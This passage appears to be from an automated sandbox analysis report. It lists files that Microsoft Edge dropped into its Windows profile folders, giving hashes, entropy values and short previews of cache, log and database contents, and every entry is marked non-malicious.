SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlYc6j+GyrlL/rDL/rZ/nSXz:f9LyxPXfOrr1lMe1z6rWISllL/HL/BSj
MD5:	3266CC2BEB88AD3BCF6EEC4690F65C3C
SHA1:	3657EBC55DAADE796AA3C184B96012061D7E4AB6
SHA-256:	AEC933DDA76D670237B1C699B937F6A288B2EA13EB1222EBE7562DA170015F2A
SHA-512:	3CD01165EA8646FE3BB9B1FCCD8D2A4D6EF51D5B95E9E29BCB1EA0CCA773101609E1FDCC4129CB0849985396AAA707F4F900E547CDB63702A00008385C768F55
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188001
Entropy (8bit):	6.380753397850719
Encrypted:	false
SSDEEP:	3072:eBl2l5gCYVSwDEOGJz8auT2+A5DL6jmNrw+ixyyLcL/KhfcxnCoC4vh:HCSwmz89bAV6erCg3L/S0w4vh
MD5:	4548F2180F975CA3AC8FAC7CD91545A8
SHA1:	D7522CF5A6734C0A47443BCF318FE25BC2D6186E
SHA-256:	057904545CB2C83EB5F61AC8E1B0E58EB4976F16694E04FF9B27574F3842691F
SHA-512:	204791262769B8104522776C5B0C8C20C6EEC69B9E826AB2954DC26428C8A13776BD2F5D9AA6B61E3319C7D41DE067D8BCD3A685F0F9115082DD49C4CBCFC7DF
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc2v.N....exports...Rc.B......module....Rc.m.K....define....Rb..Oo....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.bQ..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....4U...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7UKTXl/lg/l9/lxEwlt4/lRBYz:QugOQOYz
MD5:	81E728A1D78A2944D9123F07F7963592
SHA1:	AF17012973C2BB9587BD10F12BE5A369D82E1DAB
SHA-256:	179E663BAA3F22F4C85007315B04CBB26CE75C5AF92CF415AD2BAB409F3634A5
SHA-512:	A5815C5144905082A8906CBE0296BB2436C381DB254B13BA395E57408798A9FDCEC6E05C8D39098F58F5C88CF2A5D97B72E9A7634FDA2C49BD735C6289C8D8DE
Malicious:	false
Preview:	@......toy retne.........................X....,................n..^./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7UKTXl/lg/l9/lxEwlt4/lRBYz:QugOQOYz
MD5:	81E728A1D78A2944D9123F07F7963592
SHA1:	AF17012973C2BB9587BD10F12BE5A369D82E1DAB
SHA-256:	179E663BAA3F22F4C85007315B04CBB26CE75C5AF92CF415AD2BAB409F3634A5
SHA-512:	A5815C5144905082A8906CBE0296BB2436C381DB254B13BA395E57408798A9FDCEC6E05C8D39098F58F5C88CF2A5D97B72E9A7634FDA2C49BD735C6289C8D8DE
Malicious:	false
Preview:	@......toy retne.........................X....,................n..^./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44ee7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7UKTXl/lg/l9/lxEwlt4/lRBYz:QugOQOYz
MD5:	81E728A1D78A2944D9123F07F7963592
SHA1:	AF17012973C2BB9587BD10F12BE5A369D82E1DAB
SHA-256:	179E663BAA3F22F4C85007315B04CBB26CE75C5AF92CF415AD2BAB409F3634A5
SHA-512:	A5815C5144905082A8906CBE0296BB2436C381DB254B13BA395E57408798A9FDCEC6E05C8D39098F58F5C88CF2A5D97B72E9A7634FDA2C49BD735C6289C8D8DE
Malicious:	false
Preview:	@......toy retne.........................X....,................n..^./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5429
Entropy (8bit):	3.427581973361677
Encrypted:	false
SSDEEP:	96:D+SR7DMnpW3YnWbH4ZJ0z9Xp+F+g+iAUokNU5bjLl9iSr/1+ADjFgW:VD8pW3YaN9Xp+FV+ihD25bjLl9iSr/f+
MD5:	3C2ED1FC608A73BCA0D31C79EBF31E7C
SHA1:	0F758D3D548C0A33A363AD414133E029FB295D2E
SHA-256:	CFA9A377045205AA195A7DBA40F2A99D1AA6CA64FF13069D08C23A373D01E1B7
SHA-512:	958146BA28412C1073FF510456F8B3106FFC424F9A5C13AE6825E3247B236AA7DAF7BE92278F2EC0ED728FA83D2A02BA4D57637252FB2B32C2327142A7A4A857
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................b................next-map-id.1.Cnamespace-e598ece9_73e0_4769_9d8c_ef68c734adfb-https://ntp.msn.com/.0\WB).................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.e.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.a.a.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.e.e.m.o.r.e.t.1.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.v.1.7.t.7.,.c.g.-.g.a.m.e.-.e.x.p.-.c.-.1.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.a.n.y.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.a.n.y.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.1.r.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.1.,.t.r.a.f.f.i.c.-.p.r.2.-.n.e.w.s.,.p.r.g.-.p.r.2.-.t.f.n.e.w.s.,.p.r.g.-.p.r.2.-.w.i.d.g.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.129122209417174
Encrypted:	false
SSDEEP:	6:H4pDXFOM+q2PN723oH+TcwtrQMxIFUt8Y4pDXSZmw+Y4pDTFpMMVkwON723oH+Tv:YpLFOM+vVaYebCFUt8fpW/+fpPFOMV5b
MD5:	E733D131A6715FBE4CB1B022EC7D1162
SHA1:	79EED8ABCD4ECFB60D2CDF59068DFD8AB25376F5
SHA-256:	4557ACE7AF9BF42C758FA98F83392D1964E0D137C6D28B42F91525ADC0AD4B75
SHA-512:	0EB279D3AE7CFF3AFB9C0CF7B1D7F103A711A556ECB4A31AC0125C74D104F6D0C3370FE0435AA3AC90296518C151B3EB0DF31C2FFE98A294258F7876AC218510
Malicious:	false
Preview:	2024/11/07-11:25:32.502 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/07-11:25:32.503 1d8c Recovering log #3.2024/11/07-11:25:32.506 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.129122209417174
Encrypted:	false
SSDEEP:	6:H4pDXFOM+q2PN723oH+TcwtrQMxIFUt8Y4pDXSZmw+Y4pDTFpMMVkwON723oH+Tv:YpLFOM+vVaYebCFUt8fpW/+fpPFOMV5b
MD5:	E733D131A6715FBE4CB1B022EC7D1162
SHA1:	79EED8ABCD4ECFB60D2CDF59068DFD8AB25376F5
SHA-256:	4557ACE7AF9BF42C758FA98F83392D1964E0D137C6D28B42F91525ADC0AD4B75
SHA-512:	0EB279D3AE7CFF3AFB9C0CF7B1D7F103A711A556ECB4A31AC0125C74D104F6D0C3370FE0435AA3AC90296518C151B3EB0DF31C2FFE98A294258F7876AC218510
Malicious:	false
Preview:	2024/11/07-11:25:32.502 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/07-11:25:32.503 1d8c Recovering log #3.2024/11/07-11:25:32.506 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375470333801491

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.818469691376984
Encrypted:	false
SSDEEP:	24:3w4SxWdtPn5GpsAF4unxetLp3X2amEtG1ChqZGlfmBDQKkOAM4t:3UxCPngzFgLp2FEkChLdlHOp
MD5:	12B39AE155CBEA9FA01A4BEE6CD59C87
SHA1:	BBF501599C2C57F9273A3E6AB70C458CE1066B96
SHA-256:	33E85C0DEDDF7551CFCF2313D3EF69E42AF0D7AF490D36CFEEB7D280D4ADAE90
SHA-512:	FC269F7E04E44CD9A19263CD4093B654749A9DD659D59BD774F2A5B7CE07E59CB0C4FEC569FCE7E22EE9B4597D8AEC51DAD7AC3055E36B92DE68052E3355041B
Malicious:	false
Preview:	SNSS................................"........................................................!.............................................1..,.......$...e598ece9_73e0_4769_9d8c_ef68c734adfb.......................B...................................................................5..0.......&...{46F3A197-DB49-410A-81B3-94975C835573}.........................................................................edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........Ws.U&...Ws.U&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.0882645368968165
Encrypted:	false
SSDEEP:	6:H4pFLQrL1yq2PN723oH+Tcwt7Uh2ghZIFUt8Y4pFLWF11Zmw+Y4pFLuIN1RkwONn:YpFLQrL4vVaYebIhHh2FUt8fpFLo11/r
MD5:	FEC9760E5C7365F8A0CF949F63E8E86C
SHA1:	1256DC49D22570FDB459AFBDFFF6D8160C3A3914
SHA-256:	DEFA41DD391912ADE35CB9080AD520A15FD2CA3CF82E1EE60176621E11DE4BCE
SHA-512:	86F0ABD600562A708FFBE9517D2FBC5F48C349EC91779CA333D43EA33D631153099930A82CBC24F2C8DC9638455E5F3DCB6AE55D0B136B61F4398E1F962FBFF0
Malicious:	false
Preview:	2024/11/07-11:25:31.342 a14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/07-11:25:31.344 a14 Recovering log #3.2024/11/07-11:25:31.345 a14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.0882645368968165
Encrypted:	false
SSDEEP:	6:H4pFLQrL1yq2PN723oH+Tcwt7Uh2ghZIFUt8Y4pFLWF11Zmw+Y4pFLuIN1RkwONn:YpFLQrL4vVaYebIhHh2FUt8fpFLo11/r
MD5:	FEC9760E5C7365F8A0CF949F63E8E86C
SHA1:	1256DC49D22570FDB459AFBDFFF6D8160C3A3914
SHA-256:	DEFA41DD391912ADE35CB9080AD520A15FD2CA3CF82E1EE60176621E11DE4BCE
SHA-512:	86F0ABD600562A708FFBE9517D2FBC5F48C349EC91779CA333D43EA33D631153099930A82CBC24F2C8DC9638455E5F3DCB6AE55D0B136B61F4398E1F962FBFF0
Malicious:	false
Preview:	2024/11/07-11:25:31.342 a14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/07-11:25:31.344 a14 Recovering log #3.2024/11/07-11:25:31.345 a14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.219738179696187
Encrypted:	false
SSDEEP:	12:YpRqM+vVaYebvqBQFUt8fp7/+fpUlMV5OaYebvqBvJ:YpRMVaYebvZg8fpcpUQOaYebvk
MD5:	E1207E8FFF6A55E7C5B2ED0EB47F22D8
SHA1:	C0988B780B1C1B327DBD22B9F20473996EA7FEA8
SHA-256:	DF3548377341335B3351F9F104E312BE64AA05943C499D99707F4A8243439683
SHA-512:	B9F882232DF3CEDEA0FC45628D54F5125AA8C2FAC9098E389646CF21E22CFB9E77FD2E44F2662871171FF83F9E91E706B425D00112A639421BBE08243CD458ED
Malicious:	false
Preview:	2024/11/07-11:25:32.423 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/07-11:25:32.425 1d6c Recovering log #3.2024/11/07-11:25:32.430 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.219738179696187
Encrypted:	false
SSDEEP:	12:YpRqM+vVaYebvqBQFUt8fp7/+fpUlMV5OaYebvqBvJ:YpRMVaYebvZg8fpcpUQOaYebvk
MD5:	E1207E8FFF6A55E7C5B2ED0EB47F22D8
SHA1:	C0988B780B1C1B327DBD22B9F20473996EA7FEA8
SHA-256:	DF3548377341335B3351F9F104E312BE64AA05943C499D99707F4A8243439683
SHA-512:	B9F882232DF3CEDEA0FC45628D54F5125AA8C2FAC9098E389646CF21E22CFB9E77FD2E44F2662871171FF83F9E91E706B425D00112A639421BBE08243CD458ED
Malicious:	false
Preview:	2024/11/07-11:25:32.423 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/07-11:25:32.425 1d6c Recovering log #3.2024/11/07-11:25:32.430 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\00d44a06-ea44-4ab3-985c-a72297d6bbd4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\11ac691d-f442-4db1-822d-9e2e1f666550.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4fac04bc-c65d-4791-9a0f-e0ad0a01335a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3e80f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
